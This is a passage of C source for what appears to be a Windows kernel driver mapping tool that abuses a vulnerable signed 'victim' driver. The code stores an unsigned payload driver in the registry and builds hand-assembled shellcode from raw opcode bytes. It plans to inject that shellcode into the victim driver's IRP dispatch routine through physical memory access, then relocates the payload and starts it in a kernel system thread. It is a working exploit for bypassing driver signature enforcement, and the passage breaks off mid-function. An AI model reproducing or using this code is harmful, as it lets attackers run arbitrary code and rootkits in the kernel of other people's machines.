66 | _In_ VOID *Irp,
67 | _In_ CCHAR PriorityBoost);
68 |
69 | typedef struct _FUNC_TABLE {
70 | pfnExAllocatePool ExAllocatePool;
71 | pfnExFreePool ExFreePool;
72 | pfnPsCreateSystemThread PsCreateSystemThread;
73 | pfnIofCompleteRequest IofCompleteRequest;
74 | pfnZwClose ZwClose;
75 | pfnZwOpenKey ZwOpenKey;
76 | pfnZwQueryValueKey ZwQueryValueKey;
77 | pfnDbgPrint DbgPrint;
78 | } FUNC_TABLE, *PFUNC_TABLE;
79 |
80 | #ifdef _DEBUG
81 | #define BOOTSTRAPCODE_SIZE 2048
82 | #else
83 | #define BOOTSTRAPCODE_SIZE 944
84 | #endif
85 |
86 | //sizeof = 1024 in Release
87 | // WARNING: shellcode DOESN'T WORK in DEBUG
88 | typedef struct _SHELLCODE {
89 | BYTE InitCode[16];
90 | BYTE BootstrapCode[BOOTSTRAPCODE_SIZE];
91 | FUNC_TABLE Import;
92 | } SHELLCODE, *PSHELLCODE;
93 |
94 | SHELLCODE *g_ShellCode;
95 |
96 | /*
97 | * VictimLoadUnload
98 | *
99 | * Purpose:
100 | *
101 | * Load/Unload driver using Native API.
102 | * This routine will try to force unload driver if Force parameter set to TRUE.
103 | *
104 | */
105 | BOOL VictimLoadUnload(
106 | _In_ LPWSTR Name,
107 | _In_ LPWSTR ImagePath,
108 | _In_ BOOL Force,
109 | _In_ BOOL Unload,
110 | _Out_ NTSTATUS *ErrorStatus)
111 | {
112 | BOOLEAN bWasEnabled;
113 | ULONG Data;
114 | NTSTATUS status;
115 | HANDLE hKey = NULL;
116 | OBJECT_ATTRIBUTES obja;
117 | UNICODE_STRING str;
118 | WCHAR szKey[MAX_PATH];
119 |
120 | _strcpy(szKey, SCM_DB_KEY);
121 | _strcat(szKey, Name);
122 | RtlInitUnicodeString(&str, szKey);
123 | InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0);
124 |
125 | status = NtCreateKey(&hKey, KEY_ALL_ACCESS,
126 | &obja, 0,
127 | NULL, REG_OPTION_NON_VOLATILE,
128 | NULL);
129 |
130 | if (NT_SUCCESS(status)) {
131 |
132 | Data = SERVICE_ERROR_NORMAL;
133 | RtlInitUnicodeString(&str, L"ErrorControl");
134 | status = NtSetValueKey(hKey, &str, 0, REG_DWORD, &Data, sizeof(ULONG));
135 | if (NT_SUCCESS(status)) {
136 |
137 | Data = SERVICE_DEMAND_START;
138 | RtlInitUnicodeString(&str, L"Start");
139 | status = NtSetValueKey(hKey, &str, 0, REG_DWORD, &Data, sizeof(ULONG));
140 | if (NT_SUCCESS(status)) {
141 |
142 | Data = SERVICE_KERNEL_DRIVER;
143 | RtlInitUnicodeString(&str, L"Type");
144 | status = NtSetValueKey(hKey, &str, 0, REG_DWORD, &Data, sizeof(ULONG));
145 | if (NT_SUCCESS(status)) {
146 |
147 | RtlInitUnicodeString(&str, L"ImagePath");
148 | Data = (ULONG)((1 + _strlen(ImagePath)) * sizeof(WCHAR));
149 | status = NtSetValueKey(hKey, &str, 0, REG_SZ, ImagePath, Data);
150 | if (NT_SUCCESS(status)) {
151 |
152 | status = RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE,
153 | TRUE, FALSE, &bWasEnabled);
154 | if (NT_SUCCESS(status)) {
155 |
156 | RtlInitUnicodeString(&str, szKey);
157 |
158 | if (Unload) {
159 | status = NtUnloadDriver(&str);
160 | }
161 | else {
162 | status = NtLoadDriver(&str);
163 |
164 | if ((status == STATUS_IMAGE_ALREADY_LOADED) ||
165 | (status == STATUS_OBJECT_NAME_COLLISION)) {
166 |
167 | if (Force) {
168 | status = NtUnloadDriver(&str);
169 | if (NT_SUCCESS(status)) {
170 | status = NtLoadDriver(&str);
171 | }
172 | }
173 | }
174 | }
175 | RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, FALSE, FALSE, &bWasEnabled);
176 | }
177 | }
178 | }
179 | }
180 | }
181 | NtYieldExecution();
182 | NtDeleteKey(hKey);
183 | NtClose(hKey);
184 | }
185 |
186 | *ErrorStatus = status;
187 | return NT_SUCCESS(status);
188 | }
189 |
190 | /*
191 | * ExAllocatePoolTest
192 | *
193 | * Purpose:
194 | *
195 | * User mode test routine.
196 | *
197 | */
198 | PVOID NTAPI ExAllocatePoolTest(
199 | _In_ POOL_TYPE PoolType,
200 | _In_ SIZE_T NumberOfBytes)
201 | {
202 | PVOID P;
203 | UNREFERENCED_PARAMETER(PoolType);
204 |
205 | P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
206 | if (P) RtlSecureZeroMemory(P, NumberOfBytes);
207 |
208 | return P;
209 | }
210 |
211 | /*
212 | * ExFreePoolTest
213 | *
214 | * Purpose:
215 | *
216 | * User mode test routine.
217 | *
218 | */
219 | VOID NTAPI ExFreePoolTest(
220 | _In_ PVOID P)
221 | {
222 | VirtualFree(P, 0, MEM_RELEASE);
223 | }
224 |
225 | /*
226 | * IofCompleteRequestTest
227 | *
228 | * Purpose:
229 | *
230 | * User mode test routine.
231 | */
232 | VOID IofCompleteRequestTest(
233 | _In_ VOID *Irp,
234 | _In_ CCHAR PriorityBoost)
235 | {
236 | UNREFERENCED_PARAMETER(Irp);
237 | UNREFERENCED_PARAMETER(PriorityBoost);
238 | return;
239 | }
240 |
241 | /*
242 | * PsCreateSystemThreadTest
243 | *
244 | * Purpose:
245 | *
246 | * User mode test routine.
247 | *
248 | */
249 | NTSTATUS NTAPI PsCreateSystemThreadTest(
250 | _Out_ PHANDLE ThreadHandle,
251 | _In_ ULONG DesiredAccess,
252 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
253 | _In_opt_ HANDLE ProcessHandle,
254 | _Out_opt_ PCLIENT_ID ClientId,
255 | _In_ PKSTART_ROUTINE StartRoutine,
256 | _In_opt_ PVOID StartContext)
257 | {
258 | UNREFERENCED_PARAMETER(ThreadHandle);
259 | UNREFERENCED_PARAMETER(DesiredAccess);
260 | UNREFERENCED_PARAMETER(ObjectAttributes);
261 | UNREFERENCED_PARAMETER(ProcessHandle);
262 | UNREFERENCED_PARAMETER(ClientId);
263 | UNREFERENCED_PARAMETER(StartRoutine);
264 | UNREFERENCED_PARAMETER(StartContext);
265 | return STATUS_SUCCESS;
266 | }
267 |
268 | IO_STACK_LOCATION g_testIostl;
269 |
270 | /*
271 | * IoGetCurrentIrpStackLocationTest
272 | *
273 | * Purpose:
274 | *
275 | * User mode test routine.
276 | *
277 | */
278 | FORCEINLINE
279 | PIO_STACK_LOCATION
280 | IoGetCurrentIrpStackLocationTest(
281 | _In_ PIRP Irp
282 | )
283 | {
284 | UNREFERENCED_PARAMETER(Irp);
285 | g_testIostl.MajorFunction = IRP_MJ_CREATE;
286 | return &g_testIostl;
287 | }
288 |
289 |
290 | /*
291 | * SizeOfProc
292 | *
293 | * Purpose:
294 | *
295 | * Very simplified. Return size of procedure when first ret meet.
296 | *
297 | */
298 | ULONG SizeOfProc(
299 | _In_ PBYTE FunctionPtr)
300 | {
301 | ULONG c = 0;
302 | UCHAR *p;
303 | hde64s hs;
304 |
305 | __try {
306 |
307 | do {
308 | p = FunctionPtr + c;
309 | hde64_disasm(p, &hs);
310 | if (hs.flags & F_ERROR)
311 | break;
312 | c += hs.len;
313 |
314 | } while (*p != 0xC3);
315 |
316 | }
317 | __except (EXCEPTION_EXECUTE_HANDLER) {
318 | return 0;
319 | }
320 | return c;
321 | }
322 |
323 | /*
324 | * FakeDispatchRoutine
325 | *
326 | * Purpose:
327 | *
328 | * Bootstrap shellcode.
329 | * Read image from registry, process relocs and run it.
330 | *
331 | * IRQL: PASSIVE_LEVEL
332 | *
333 | */
334 | NTSTATUS NTAPI FakeDispatchRoutine(
335 | _In_ struct _DEVICE_OBJECT *DeviceObject,
336 | _Inout_ struct _IRP *Irp,
337 | _In_ PSHELLCODE ShellCode)
338 | {
339 | NTSTATUS status;
340 | ULONG returnLength = 0, isz, dummy;
341 | HANDLE hKey = NULL, hThread;
342 | UNICODE_STRING str;
343 | OBJECT_ATTRIBUTES obja;
344 | KEY_VALUE_PARTIAL_INFORMATION keyinfo;
345 | KEY_VALUE_PARTIAL_INFORMATION *pkeyinfo;
346 | ULONG_PTR Image, exbuffer, pos;
347 |
348 | PIO_STACK_LOCATION StackLocation;
349 |
350 | PIMAGE_DOS_HEADER dosh;
351 | PIMAGE_FILE_HEADER fileh;
352 | PIMAGE_OPTIONAL_HEADER popth;
353 | PIMAGE_BASE_RELOCATION rel;
354 |
355 | DWORD_PTR delta;
356 | LPWORD chains;
357 | DWORD c, p, rsz;
358 |
359 | WCHAR szRegistryKey[] = {
360 | L'\\', L'R', L'E', L'G', L'I', L'S', L'T', L'R', L'Y', L'\\',\
361 | L'M', L'A', L'C', L'H', L'I', L'N', L'E', 0
362 | };
363 |
364 | USHORT cbRegistryKey = sizeof(szRegistryKey) - sizeof(WCHAR);
365 |
366 | WCHAR szValueKey[] = { L'~', 0 };
367 |
368 | USHORT cbValueKey = sizeof(szValueKey) - sizeof(WCHAR);
369 |
370 | UNREFERENCED_PARAMETER(DeviceObject);
371 |
372 | #ifdef _DEBUG
373 | StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
374 | #else
375 | StackLocation = IoGetCurrentIrpStackLocation(Irp);
376 | #endif
377 |
378 | if (StackLocation->MajorFunction == IRP_MJ_CREATE) {
379 |
380 | str.Buffer = szRegistryKey;
381 | str.Length = cbRegistryKey;
382 | str.MaximumLength = str.Length + sizeof(UNICODE_NULL);
383 |
384 | #ifdef _DEBUG
385 | InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0);
386 | #else
387 | InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0);
388 | #endif
389 |
390 | status = ShellCode->Import.ZwOpenKey(&hKey, KEY_READ, &obja);
391 | if (NT_SUCCESS(status)) {
392 |
393 | str.Buffer = szValueKey;
394 | str.Length = cbValueKey;
395 | str.MaximumLength = str.Length + sizeof(UNICODE_NULL);
396 |
397 | status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation,
398 | &keyinfo, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &returnLength);
399 |
400 | if ((status == STATUS_BUFFER_OVERFLOW) ||
401 | (status == STATUS_BUFFER_TOO_SMALL))
402 | {
403 | pkeyinfo = (KEY_VALUE_PARTIAL_INFORMATION*)ShellCode->Import.ExAllocatePool(NonPagedPool, returnLength);
404 | if (pkeyinfo) {
405 |
406 | status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation,
407 | (PVOID)pkeyinfo, returnLength, &dummy);
408 | if (NT_SUCCESS(status)) {
409 |
410 | Image = (ULONG_PTR)&pkeyinfo->Data[0];
411 | dosh = (PIMAGE_DOS_HEADER)Image;
412 | fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
413 | popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
414 | isz = popth->SizeOfImage;
415 |
416 | exbuffer = (ULONG_PTR)ShellCode->Import.ExAllocatePool(
417 | NonPagedPool, isz + PAGE_SIZE) + PAGE_SIZE;
418 | if (exbuffer != 0) {
419 |
420 | exbuffer &= ~(PAGE_SIZE - 1);
421 |
422 | if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
423 | if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
424 | {
425 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
426 | popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
427 |
428 | rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
429 | delta = (DWORD_PTR)exbuffer - popth->ImageBase;
430 | c = 0;
431 |
432 | while (c < rsz) {
433 | p = sizeof(IMAGE_BASE_RELOCATION);
434 | chains = (LPWORD)((PBYTE)rel + p);
435 |
436 | while (p < rel->SizeOfBlock) {
437 |
438 | switch (*chains >> 12) {
439 | case IMAGE_REL_BASED_HIGHLOW:
440 | *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
441 | break;
442 | case IMAGE_REL_BASED_DIR64:
443 | *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
444 | break;
445 | }
446 |
447 | chains++;
448 | p += sizeof(WORD);
449 | }
450 |
451 | c += rel->SizeOfBlock;
452 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
453 | }
454 | }
455 |
456 | isz >>= 3;
457 | for (pos = 0; pos < isz; pos++)
458 | ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
459 |
460 | hThread = NULL;
461 | InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
462 | if (NT_SUCCESS(ShellCode->Import.PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL,
463 | (PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL)))
464 | {
465 | ShellCode->Import.ZwClose(hThread);
466 | }
467 | }
468 | }
469 | ShellCode->Import.ExFreePool(pkeyinfo);
470 | }
471 | }
472 | ShellCode->Import.ZwClose(hKey);
473 | }
474 | }
475 | ShellCode->Import.IofCompleteRequest(Irp, 0);
476 | return STATUS_SUCCESS;
477 | }
478 |
479 | /*
480 | * FakeDispatchRoutine2
481 | *
482 | * Purpose:
483 | *
484 | * Bootstrap test shellcode.
485 | *
486 | * IRQL: PASSIVE_LEVEL
487 | *
488 | */
489 | NTSTATUS NTAPI FakeDispatchRoutine2(
490 | _In_ struct _DEVICE_OBJECT *DeviceObject,
491 | _Inout_ struct _IRP *Irp,
492 | _In_ PSHELLCODE ShellCode)
493 | {
494 | PIO_STACK_LOCATION StackLocation;
495 | CHAR szTest1[] = {
496 | 'O', 'p', 'e', 'n', '\n', 0
497 | };
498 | CHAR szTest2[] = {
499 | 'C', 'l', 'o', 's', 'e', '\n', 0
500 | };
501 |
502 | UNREFERENCED_PARAMETER(DeviceObject);
503 |
504 | StackLocation = IoGetCurrentIrpStackLocation(Irp);
505 |
506 | if (StackLocation->MajorFunction == IRP_MJ_CREATE) {
507 | ShellCode->Import.DbgPrint(szTest1);
508 | }
509 | else {
510 | if (StackLocation->MajorFunction == IRP_MJ_CLOSE) {
511 | ShellCode->Import.DbgPrint(szTest2);
512 | }
513 | }
514 | ShellCode->Import.IofCompleteRequest(Irp, 0);
515 | return STATUS_SUCCESS;
516 | }
517 |
518 | /*
519 | * StorePayload
520 | *
521 | * Purpose:
522 | *
523 | * Load input file as image, resolve import and store result in registry.
524 | *
525 | */
526 | BOOL StorePayload(
527 | _In_ LPWSTR lpFileName,
528 | _In_ ULONG_PTR KernelImage,
529 | _In_ ULONG_PTR KernelBase)
530 | {
531 | BOOL bSuccess = FALSE;
532 | HKEY hKey = NULL;
533 | PVOID DataBuffer = NULL;
534 | LRESULT lResult;
535 |
536 | NTSTATUS status;
537 | ULONG isz;
538 | PVOID Image = NULL;
539 | PIMAGE_NT_HEADERS FileHeader;
540 | UNICODE_STRING ustr;
541 | WCHAR szMsg[100];
542 |
543 | ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE;
544 |
545 | //
546 | // Map input file as image.
547 | //
548 | RtlInitUnicodeString(&ustr, lpFileName);
549 | status = LdrLoadDll(NULL, &DllCharacteristics, &ustr, &Image);
550 | if ((!NT_SUCCESS(status)) || (Image == NULL)) {
551 | supPrintText(TEXT("\r\n[!] Error while loading input driver file"));
552 | return FALSE;
553 | }
554 | else {
555 | _strcpy(szMsg, TEXT("\r\n[+] Input driver file loaded at 0x"));
556 | u64tohex((ULONG_PTR)Image, _strend(szMsg));
557 | supPrintText(szMsg);
558 | }
559 |
560 | FileHeader = RtlImageNtHeader(Image);
561 | if (FileHeader == NULL) {
562 | supPrintText(TEXT("\r\n[!] Error, invalid NT header"));
563 | return FALSE;
564 | }
565 |
566 | //
567 | // Resolve import (ntoskrnl only) and write buffer to registry.
568 | //
569 | isz = FileHeader->OptionalHeader.SizeOfImage;
570 |
571 | DataBuffer = supHeapAlloc(isz);
572 | if (DataBuffer) {
573 | RtlCopyMemory(DataBuffer, Image, isz);
574 |
575 | supPrintText(TEXT("\r\n[+] Resolving kernel import for input driver"));
576 | ldrResolveKernelImport((ULONG_PTR)DataBuffer, KernelImage, KernelBase);
577 |
578 | lResult = RegOpenKey(HKEY_LOCAL_MACHINE, NULL, &hKey);
579 | if ((lResult == ERROR_SUCCESS) && (hKey != NULL)) {
580 |
581 | lResult = RegSetKeyValue(hKey, NULL, TEXT("~"), REG_BINARY,
582 | DataBuffer, isz);
583 |
584 | bSuccess = (lResult == ERROR_SUCCESS);
585 |
586 | RegCloseKey(hKey);
587 | }
588 | supHeapFree(DataBuffer);
589 | }
590 | return bSuccess;
591 | }
592 |
593 | /*
594 | * SetupShellCode
595 | *
596 | * Purpose:
597 | *
598 | * Construct shellcode data, init code.
599 | *
600 | */
601 | VOID SetupShellCode(
602 | _In_ LPWSTR lpDriverFileName)
603 | {
604 | BOOL bCond = FALSE;
605 | NTSTATUS status;
606 | ULONG ProcedureSize;
607 | UNICODE_STRING ustr;
608 |
609 | ULONG_PTR KernelBase, KernelImage = 0, ConvertedFuncPtr = 0;
610 |
611 | WCHAR szMsg[200];
612 |
613 | do {
614 |
615 | KernelBase = supGetNtOsBase();
616 | if (KernelBase) {
617 | _strcpy(szMsg, TEXT("\r\n[+] Loaded ntoskrnl base = 0x"));
618 | u64tohex(KernelBase, _strend(szMsg));
619 | supPrintText(szMsg);
620 | }
621 | else {
622 | supPrintText(TEXT("\r\n[!] Cannot query ntoskrnl loaded base, abort"));
623 | break;
624 | }
625 |
626 | //
627 | // Preload ntoskrnl.exe
628 | //
629 | RtlInitUnicodeString(&ustr, L"ntoskrnl.exe");
630 | status = LdrLoadDll(NULL, NULL, &ustr, (PVOID)&KernelImage);
631 |
632 | if ((!NT_SUCCESS(status)) || (KernelImage == 0)) {
633 | supPrintText(TEXT("\r\n[!] Error while loading ntoskrnl.exe"));
634 | break;
635 | }
636 | else {
637 | _strcpy(szMsg, TEXT("\r\n[+] Ntoskrnl.exe mapped at 0x"));
638 | u64tohex(KernelImage, _strend(szMsg));
639 | supPrintText(szMsg);
640 | }
641 |
642 | //
643 | // Store input file in registry.
644 | //
645 | if (!StorePayload(lpDriverFileName, KernelImage, KernelBase)) {
646 | supPrintText(TEXT("\r\n[!] Cannot write payload to registry, abort"));
647 | break;
648 | }
649 |
650 | //
651 | // Allocate shellcode.
652 | //
653 | g_ShellCode = (SHELLCODE*)VirtualAlloc(NULL, sizeof(SHELLCODE),
654 | MEM_RESERVE | MEM_COMMIT,
655 | PAGE_EXECUTE_READWRITE);
656 |
657 | if (g_ShellCode == NULL)
658 | break;
659 |
660 | RtlSecureZeroMemory(g_ShellCode, sizeof(SHELLCODE));
661 |
662 | //
663 | // Build initial code part.
664 | //
665 | // 00 call +5
666 | // 05 pop r8
667 | // 07 sub r8, 5
668 | // 0B jmps 10
669 | // 0D int 3
670 | // 0E int 3
671 | // 0F int 3
672 | // 10 code
673 |
674 |
675 | //int 3
676 | memset(g_ShellCode->InitCode, 0xCC, sizeof(g_ShellCode->InitCode));
677 |
678 | //call +5
679 | g_ShellCode->InitCode[0x0] = 0xE8;
680 | g_ShellCode->InitCode[0x1] = 0x00;
681 | g_ShellCode->InitCode[0x2] = 0x00;
682 | g_ShellCode->InitCode[0x3] = 0x00;
683 | g_ShellCode->InitCode[0x4] = 0x00;
684 |
685 | //pop r8
686 | g_ShellCode->InitCode[0x5] = 0x41;
687 | g_ShellCode->InitCode[0x6] = 0x58;
688 |
689 | //sub r8, 5
690 | g_ShellCode->InitCode[0x7] = 0x49;
691 | g_ShellCode->InitCode[0x8] = 0x83;
692 | g_ShellCode->InitCode[0x9] = 0xE8;
693 | g_ShellCode->InitCode[0xA] = 0x05;
694 |
695 | // jmps
696 | g_ShellCode->InitCode[0xB] = 0xEB;
697 | g_ShellCode->InitCode[0xC] = 0x03;
698 |
699 | //
700 | // Remember function pointers.
701 | //
702 |
703 | //
704 | // 1. ExAllocatePoolWithTag
705 | //
706 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ExAllocatePool");
707 | if (ConvertedFuncPtr == 0) {
708 | supPrintText(TEXT("\r\n[!] Error, ExAllocatePool address not found"));
709 | break;
710 | }
711 | else {
712 | _strcpy(szMsg, TEXT("\r\n[+] ExAllocatePool 0x"));
713 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
714 | supPrintText(szMsg);
715 | }
716 | g_ShellCode->Import.ExAllocatePool = (pfnExAllocatePool)ConvertedFuncPtr;
717 |
718 | //
719 | // 2. ExFreePoolWithTag
720 | //
721 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ExFreePool");
722 | if (ConvertedFuncPtr == 0) {
723 | supPrintText(TEXT("\r\n[!] Error, ExFreePool address not found"));
724 | break;
725 | }
726 | else {
727 | _strcpy(szMsg, TEXT("\r\n[+] ExFreePool 0x"));
728 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
729 | supPrintText(szMsg);
730 | }
731 | g_ShellCode->Import.ExFreePool = (pfnExFreePool)ConvertedFuncPtr;
732 |
733 | //
734 | // 3. PsCreateSystemThread
735 | //
736 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "PsCreateSystemThread");
737 | if (ConvertedFuncPtr == 0) {
738 | supPrintText(TEXT("\r\n[!] Error, PsCreateSystemThread address not found"));
739 | break;
740 | }
741 | else {
742 | _strcpy(szMsg, TEXT("\r\n[+] PsCreateSystemThread 0x"));
743 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
744 | supPrintText(szMsg);
745 | }
746 | g_ShellCode->Import.PsCreateSystemThread = (pfnPsCreateSystemThread)ConvertedFuncPtr;
747 |
748 | //
749 | // 4. IofCompleteRequest
750 | //
751 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "IofCompleteRequest");
752 | if (ConvertedFuncPtr == 0) {
753 | supPrintText(TEXT("\r\n[!] Error, IofCompleteRequest address not found"));
754 | break;
755 | }
756 | else {
757 | _strcpy(szMsg, TEXT("\r\n[+] IofCompleteRequest 0x"));
758 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
759 | supPrintText(szMsg);
760 | }
761 | g_ShellCode->Import.IofCompleteRequest = (pfnIofCompleteRequest)ConvertedFuncPtr;
762 |
763 | //
764 | // 5. ZwClose
765 | //
766 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ZwClose");
767 | if (ConvertedFuncPtr == 0) {
768 | supPrintText(TEXT("\r\n[!] Error, ZwClose address not found"));
769 | break;
770 | }
771 | else {
772 | _strcpy(szMsg, TEXT("\r\n[+] ZwClose 0x"));
773 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
774 | supPrintText(szMsg);
775 | }
776 | g_ShellCode->Import.ZwClose = (pfnZwClose)ConvertedFuncPtr;
777 |
778 | //
779 | // 6. ZwOpenKey
780 | //
781 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ZwOpenKey");
782 | if (ConvertedFuncPtr == 0) {
783 | supPrintText(TEXT("\r\n[!] Error, ZwOpenKey address not found"));
784 | break;
785 | }
786 | else {
787 | _strcpy(szMsg, TEXT("\r\n[+] ZwOpenKey 0x"));
788 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
789 | supPrintText(szMsg);
790 | }
791 | g_ShellCode->Import.ZwOpenKey = (pfnZwOpenKey)ConvertedFuncPtr;
792 |
793 | //
794 | // 7. ZwQueryValueKey
795 | //
796 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ZwQueryValueKey");
797 | if (ConvertedFuncPtr == 0) {
798 | supPrintText(TEXT("\r\n[!] Error, ZwQueryValueKey address not found"));
799 | break;
800 | }
801 | else {
802 | _strcpy(szMsg, TEXT("\r\n[+] ZwQueryValueKey 0x"));
803 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
804 | supPrintText(szMsg);
805 | }
806 | g_ShellCode->Import.ZwQueryValueKey = (pfnZwQueryValueKey)ConvertedFuncPtr;
807 |
808 | //
809 | // 8. DbgPrint (unused in Release build)
810 | //
811 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "DbgPrint");
812 | if (ConvertedFuncPtr == 0) {
813 | supPrintText(TEXT("\r\n[!] Error, DbgPrint address not found"));
814 | break;
815 | }
816 | else {
817 | _strcpy(szMsg, TEXT("\r\n[+] DbgPrint 0x"));
818 | u64tohex(ConvertedFuncPtr, _strend(szMsg));
819 | supPrintText(szMsg);
820 | }
821 | g_ShellCode->Import.DbgPrint = (pfnDbgPrint)ConvertedFuncPtr;
822 |
823 | //
824 | // Shellcode test, unused in Release build.
825 | //
826 | #ifdef _DEBUG
827 | g_ShellCode->Import.ZwClose = &NtClose;
828 | g_ShellCode->Import.ZwOpenKey = &NtOpenKey;
829 | g_ShellCode->Import.ZwQueryValueKey = &NtQueryValueKey;
830 | g_ShellCode->Import.ExAllocatePool = &ExAllocatePoolTest;
831 | g_ShellCode->Import.ExFreePool = &ExFreePoolTest;
832 | g_ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest;
833 | g_ShellCode->Import.PsCreateSystemThread = &PsCreateSystemThreadTest;
834 |
835 | FakeDispatchRoutine(NULL, NULL, g_ShellCode);
836 | ExitProcess(0);
837 | #endif
838 |
839 | ProcedureSize = SizeOfProc((PBYTE)FakeDispatchRoutine);
840 | if (ProcedureSize != 0) {
841 |
842 | _strcpy(szMsg, TEXT("\r\n[+] Bootstrap code size = 0x"));
843 | ultohex(ProcedureSize, _strend(szMsg));
844 | supPrintText(szMsg);
845 |
846 | if (ProcedureSize > sizeof(g_ShellCode->BootstrapCode)) {
847 | _strcpy(szMsg, TEXT("\r\n[!] Bootstrap code size exceeds limit, abort"));
848 | supPrintText(szMsg);
849 | break;
850 | }
851 | memcpy(g_ShellCode->BootstrapCode, FakeDispatchRoutine, ProcedureSize);
852 | //supWriteBufferToFile(L"out.bin", g_ShellCode->BootstrapCode, ProcedureSize);
853 | }
854 |
855 | //((void(*)())g_ShellCode->InitCode)();
856 |
857 | } while (bCond);
858 | }
859 |
860 | /*
861 | * MapDriver
862 | *
863 | * Purpose:
864 | *
865 | * Load input file into kernel via shellcode mapped through
866 | * physical memory injection in victim driver IRP handler.
867 | *
868 | */
869 | BOOL MapDriver(
870 | _In_ LPWSTR lpDriverFileName)
871 | {
872 | NTSTATUS status;
873 | ULONG NumberOfAttempts;
874 | HANDLE hObject = NULL;
875 | ULONG_PTR Address, Page, physAddressStart = 0, physAddressEnd = 0;
876 |
877 | WCHAR szBuffer[MAX_PATH * 2];
878 | WCHAR szDriverFile[MAX_PATH * 3];
879 |
880 | DRIVER_OBJECT drvObject;
881 |
882 | //
883 | // Check files availability.
884 | //
885 | if (!RtlDoesFileExists_U(lpDriverFileName)) {
886 | supPrintText(TEXT("\r\n[!] Input driver file not found, abort"));
887 | return FALSE;
888 | }
889 |
890 | _strcpy(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer);
891 | _strcat(szBuffer, MR_PE152);
892 | _strcat(szBuffer, TEXT(".sys"));
893 |
894 | if (!RtlDoesFileExists_U(szBuffer)) {
895 | supPrintText(TEXT("\r\n[!] Victim driver file not found in the current directory, abort"));
896 | return FALSE;
897 | }
898 |
899 | szDriverFile[0] = L'\\';
900 | szDriverFile[1] = L'?';
901 | szDriverFile[2] = L'?';
902 | szDriverFile[3] = L'\\';
903 | szDriverFile[4] = 0;
904 | _strcpy(&szDriverFile[4], szBuffer);
905 |
906 | NumberOfAttempts = 1;
907 |
908 | Reload:
909 |
910 | //
911 | // Load victim driver (force unload if previously loaded).
912 | //
913 | status = STATUS_UNSUCCESSFUL;
914 | if (!VictimLoadUnload(MR_PE152, szDriverFile, TRUE, FALSE, &status)) {
915 | RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
916 | _strcpy(szBuffer, TEXT("\r\n[!] Cannot load victim driver, status = 0x"));
917 | ultohex(status, _strend(szBuffer));
918 | supPrintText(szBuffer);
919 | return FALSE;
920 | }
921 | supPrintText(TEXT("\r\n[+] Victim driver loaded"));
922 |
923 | //
924 | // Locate DRIVER_OBJECT of the victim driver.
925 | //
926 | Address = (ULONG_PTR)ObQueryObject(L"\\Driver", MR_PE152);
927 | if (Address == 0) {
928 | supPrintText(TEXT("\r\n[!] Cannot query victim DRIVER_OBJECT address, abort"));
929 | return FALSE;
930 | }
931 |
932 | RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
933 | _strcpy(szBuffer, TEXT("\r\n[+] DRIVER_OBJECT 0x"));
934 | u64tohex(Address, _strend(szBuffer));
935 | supPrintText(szBuffer);
936 |
937 | //
938 | // Locate IRP_MJ_DEVICE_CONTROL routine.
939 | //
940 | RtlSecureZeroMemory(&drvObject, sizeof(DRIVER_OBJECT));
941 | if (!cpuz_readVirtualMemory(Address, &drvObject, sizeof(DRIVER_OBJECT))) {
942 | supPrintText(TEXT("\r\n[!] Cannot read victim DRIVER_OBJECT, abort"));
943 | return FALSE;
944 | }
945 |
946 | _strcpy(szBuffer, TEXT("\r\n[+] IRP_MJ_DEVICE_CONTROL 0x"));
